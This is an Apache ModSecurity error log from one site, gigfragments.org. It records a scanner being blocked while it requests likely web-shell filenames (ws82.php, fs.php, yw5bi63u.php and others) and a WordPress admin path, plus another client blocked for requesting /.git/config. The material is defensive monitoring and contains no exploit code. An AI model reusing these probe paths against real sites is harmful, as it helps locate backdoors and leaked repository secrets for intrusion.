[Thu Apr 16 02:05:44.562834 2026] [:error] [pid 912:tid 979] [client 172.213.218.185:35130] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sid3.php"] [unique_id "ad_TeMU0_VzYCBipADk0SgAAAQs"]
[Thu Apr 16 02:05:45.407270 2026] [:error] [pid 20548:tid 20558] [client 172.213.218.185:14814] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ccs.php"] [unique_id "ad_TeakpqgnqCHq6bJa6xgAAAIc"]
[Thu Apr 16 02:05:46.537262 2026] [:error] [pid 912:tid 972] [client 172.213.218.185:2261] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ccs.php"] [unique_id "ad_TesU0_VzYCBipADk0TQAAAQQ"]
[Thu Apr 16 02:05:47.339097 2026] [:error] [pid 912:tid 974] [client 172.213.218.185:30966] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ccs.php"] [unique_id "ad_Te8U0_VzYCBipADk0UAAAAQY"]
[Thu Apr 16 02:05:48.311183 2026] [:error] [pid 20548:tid 20567] [client 172.213.218.185:31488] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ccs.php"] [unique_id "ad_TfKkpqgnqCHq6bJa6zgAAAJA"]
[Thu Apr 16 02:05:49.459743 2026] [:error] [pid 54814:tid 54837] [client 172.213.218.185:8821] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aboutc.php"] [unique_id "ad_TfTrHu_-tAAe-BOWwkQAAAZE"]
[Thu Apr 16 02:05:50.240126 2026] [:error] [pid 54814:tid 54824] [client 172.213.218.185:42862] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aboutc.php"] [unique_id "ad_TfjrHu_-tAAe-BOWwlAAAAYQ"]
[Thu Apr 16 02:05:51.204050 2026] [:error] [pid 54814:tid 54827] [client 172.213.218.185:48828] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aboutc.php"] [unique_id "ad_TfzrHu_-tAAe-BOWwlwAAAYc"]
[Thu Apr 16 02:05:52.266050 2026] [:error] [pid 20548:tid 20572] [client 172.213.218.185:52822] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/aboutc.php"] [unique_id "ad_TgKkpqgnqCHq6bJa62AAAAJU"]
[Thu Apr 16 02:05:53.294999 2026] [:error] [pid 20548:tid 20556] [client 172.213.218.185:40830] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fs.php"] [unique_id "ad_TgakpqgnqCHq6bJa62gAAAIU"]
[Thu Apr 16 02:05:54.692445 2026] [:error] [pid 20548:tid 20566] [client 172.213.218.185:11650] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fs.php"] [unique_id "ad_TgqkpqgnqCHq6bJa64gAAAI8"]
[Thu Apr 16 02:05:56.675926 2026] [:error] [pid 20548:tid 20556] [client 172.213.218.185:14372] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fs.php"] [unique_id "ad_ThKkpqgnqCHq6bJa66AAAAIU"]
[Thu Apr 16 02:05:57.833752 2026] [:error] [pid 34542:tid 34555] [client 172.213.218.185:10654] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fs.php"] [unique_id "ad_ThQdF4OGi-asleB6QrQAAAUs"]
[Thu Apr 16 02:05:58.764352 2026] [:error] [pid 34542:tid 34544] [client 172.213.218.185:49881] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws82.php"] [unique_id "ad_ThgdF4OGi-asleB6QrwAAAUA"]
[Thu Apr 16 02:06:01.144974 2026] [:error] [pid 34542:tid 34551] [client 172.213.218.185:49893] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws82.php"] [unique_id "ad_TiQdF4OGi-asleB6QtQAAAUc"]
[Thu Apr 16 02:06:02.408840 2026] [:error] [pid 20548:tid 20575] [client 172.213.218.185:23544] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws82.php"] [unique_id "ad_TiqkpqgnqCHq6bJa68gAAAJg"]
[Thu Apr 16 02:06:03.943644 2026] [:error] [pid 791:tid 852] [client 172.213.218.185:13232] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws82.php"] [unique_id "ad_Ti7xl5Y18om2fepnc4wAAAEw"]
[Thu Apr 16 02:06:06.169883 2026] [:error] [pid 34542:tid 34563] [client 172.213.218.185:52740] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "ad_TjgdF4OGi-asleB6QwwAAAVM"]
[Thu Apr 16 02:06:09.543737 2026] [:error] [pid 54814:tid 54840] [client 172.213.218.185:52795] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "ad_TkTrHu_-tAAe-BOWwtAAAAZQ"]
[Thu Apr 16 02:06:12.372929 2026] [:error] [pid 792:tid 888] [client 172.213.218.185:6486] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "ad_TlN3PZ8z30TezIkZi8wAAAM0"]
[Thu Apr 16 02:06:15.346417 2026] [:error] [pid 34542:tid 34564] [client 172.213.218.185:46858] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/network/edit.php"] [unique_id "ad_TlwdF4OGi-asleB6Q7wAAAVQ"]
[Thu Apr 16 02:06:18.546279 2026] [:error] [pid 34542:tid 34563] [client 172.213.218.185:8998] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws48.php"] [unique_id "ad_TmgdF4OGi-asleB6Q9gAAAVM"]
[Thu Apr 16 02:06:19.831832 2026] [:error] [pid 20548:tid 20559] [client 172.213.218.185:8029] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws48.php"] [unique_id "ad_Tm6kpqgnqCHq6bJa7DQAAAIg"]
[Thu Apr 16 02:06:22.652862 2026] [:error] [pid 20548:tid 20554] [client 172.213.218.185:12110] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws48.php"] [unique_id "ad_TnqkpqgnqCHq6bJa7EgAAAIM"]
[Thu Apr 16 02:06:24.652730 2026] [:error] [pid 20548:tid 20570] [client 172.213.218.185:21203] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws48.php"] [unique_id "ad_ToKkpqgnqCHq6bJa7FgAAAJM"]
[Thu Apr 16 02:06:27.404581 2026] [:error] [pid 20548:tid 20569] [client 172.213.218.185:7020] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-the.php"] [unique_id "ad_To6kpqgnqCHq6bJa7GQAAAJI"]
[Thu Apr 16 02:06:28.941201 2026] [:error] [pid 54814:tid 54842] [client 172.213.218.185:41807] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-the.php"] [unique_id "ad_TpDrHu_-tAAe-BOWwygAAAZY"]
[Thu Apr 16 02:06:29.837991 2026] [:error] [pid 54814:tid 54830] [client 172.213.218.185:50276] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-the.php"] [unique_id "ad_TpTrHu_-tAAe-BOWwzAAAAYo"]
[Thu Apr 16 02:06:53.669567 2026] [:error] [pid 34542:tid 34545] [client 172.183.91.41:31824] [client 172.183.91.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "ad_TvQdF4OGi-asleB6RNgAAAUE"]
[Thu Apr 16 02:07:05.778485 2026] [:error] [pid 792:tid 894] [client 172.213.218.185:6315] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/domains.php"] [unique_id "ad_Tyd3PZ8z30TezIkZjRwAAANA"]
[Thu Apr 16 02:07:06.786565 2026] [:error] [pid 20548:tid 20563] [client 172.213.218.185:6639] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/domains.php"] [unique_id "ad_TyqkpqgnqCHq6bJa7YQAAAIw"]
[Thu Apr 16 02:07:07.536780 2026] [:error] [pid 34542:tid 34555] [client 172.213.218.185:39687] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/domains.php"] [unique_id "ad_TywdF4OGi-asleB6RRwAAAUs"]
[Thu Apr 16 02:07:08.524027 2026] [:error] [pid 912:tid 988] [client 172.213.218.185:14042] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/domains.php"] [unique_id "ad_TzMU0_VzYCBipADk0iQAAARQ"]
[Thu Apr 16 02:07:09.517042 2026] [:error] [pid 34542:tid 34567] [client 172.213.218.185:9513] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tt.php"] [unique_id "ad_TzQdF4OGi-asleB6RSQAAAVc"]
[Thu Apr 16 02:07:14.201527 2026] [:error] [pid 20548:tid 20561] [client 172.213.218.185:48375] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tt.php"] [unique_id "ad_T0qkpqgnqCHq6bJa7cgAAAIo"]
[Thu Apr 16 02:07:23.936896 2026] [:error] [pid 54814:tid 54824] [client 172.213.218.185:15225] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/tt.php"] [unique_id "ad_T2zrHu_-tAAe-BOWxCAAAAYQ"]
[Thu Apr 16 02:07:25.282980 2026] [:error] [pid 791:tid 861] [client 172.213.218.185:10309] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abc.php"] [unique_id "ad_T3bxl5Y18om2fepndCQAAAFM"]
[Thu Apr 16 02:07:26.410409 2026] [:error] [pid 54814:tid 54825] [client 172.213.218.185:16336] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abc.php"] [unique_id "ad_T3jrHu_-tAAe-BOWxDwAAAYU"]
[Thu Apr 16 02:07:27.361014 2026] [:error] [pid 790:tid 821] [client 172.213.218.185:46967] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abc.php"] [unique_id "ad_T3yHz-rbrjNOa3VKqDQAAABA"]
[Thu Apr 16 02:07:28.193599 2026] [:error] [pid 20548:tid 20562] [client 172.213.218.185:11286] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/abc.php"] [unique_id "ad_T4KkpqgnqCHq6bJa7mAAAAIs"]
[Thu Apr 16 02:07:29.587378 2026] [:error] [pid 912:tid 988] [client 172.213.218.185:37942] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yw5bi63u.php"] [unique_id "ad_T4cU0_VzYCBipADk0kwAAARQ"]
[Thu Apr 16 02:07:30.918097 2026] [:error] [pid 912:tid 989] [client 172.213.218.185:2877] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yw5bi63u.php"] [unique_id "ad_T4sU0_VzYCBipADk0lgAAARU"]
[Thu Apr 16 02:07:32.497042 2026] [:error] [pid 54814:tid 54844] [client 172.213.218.185:39792] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yw5bi63u.php"] [unique_id "ad_T5DrHu_-tAAe-BOWxFwAAAZg"]
[Thu Apr 16 02:07:33.545121 2026] [:error] [pid 20548:tid 20571] [client 172.213.218.185:40280] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/yw5bi63u.php"] [unique_id "ad_T5akpqgnqCHq6bJa7pgAAAJQ"]
[Thu Apr 16 02:07:34.421977 2026] [:error] [pid 912:tid 972] [client 172.213.218.185:37150] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "ad_T5sU0_VzYCBipADk0ngAAAQQ"]
[Thu Apr 16 02:07:35.685515 2026] [:error] [pid 54814:tid 54839] [client 172.213.218.185:39774] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "ad_T5zrHu_-tAAe-BOWxHgAAAZM"]
[Thu Apr 16 02:07:36.911096 2026] [:error] [pid 912:tid 985] [client 172.213.218.185:50837] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "ad_T6MU0_VzYCBipADk0ogAAARE"]
[Thu Apr 16 02:07:37.949048 2026] [:error] [pid 34542:tid 34567] [client 172.213.218.185:32836] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/222.php"] [unique_id "ad_T6QdF4OGi-asleB6RZwAAAVc"]
[Thu Apr 16 02:07:39.036976 2026] [:error] [pid 790:tid 824] [client 172.213.218.185:40269] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws57.php"] [unique_id "ad_T6yHz-rbrjNOa3VKqDwAAABM"]
[Thu Apr 16 02:07:40.473181 2026] [:error] [pid 54814:tid 54830] [client 172.213.218.185:50825] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws57.php"] [unique_id "ad_T7DrHu_-tAAe-BOWxLQAAAYo"]
[Thu Apr 16 02:07:41.496396 2026] [:error] [pid 34542:tid 34566] [client 172.213.218.185:40299] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws57.php"] [unique_id "ad_T7QdF4OGi-asleB6RcgAAAVY"]
[Thu Apr 16 02:07:43.640148 2026] [:error] [pid 20548:tid 20574] [client 172.213.218.185:37152] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws57.php"] [unique_id "ad_T76kpqgnqCHq6bJa7ugAAAJc"]
[Thu Apr 16 02:07:47.852297 2026] [:error] [pid 34542:tid 34546] [client 172.213.218.185:18463] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8573.php"] [unique_id "ad_T8wdF4OGi-asleB6RggAAAUI"]
[Thu Apr 16 02:07:49.309575 2026] [:error] [pid 20548:tid 20552] [client 172.213.218.185:11266] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8573.php"] [unique_id "ad_T9akpqgnqCHq6bJa7wAAAAIE"]
[Thu Apr 16 02:07:50.556397 2026] [:error] [pid 34542:tid 34564] [client 172.213.218.185:32888] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8573.php"] [unique_id "ad_T9gdF4OGi-asleB6RhAAAAVQ"]
[Thu Apr 16 02:07:51.982685 2026] [:error] [pid 34542:tid 34563] [client 172.213.218.185:2713] [client 172.213.218.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8573.php"] [unique_id "ad_T9wdF4OGi-asleB6RiwAAAVM"]
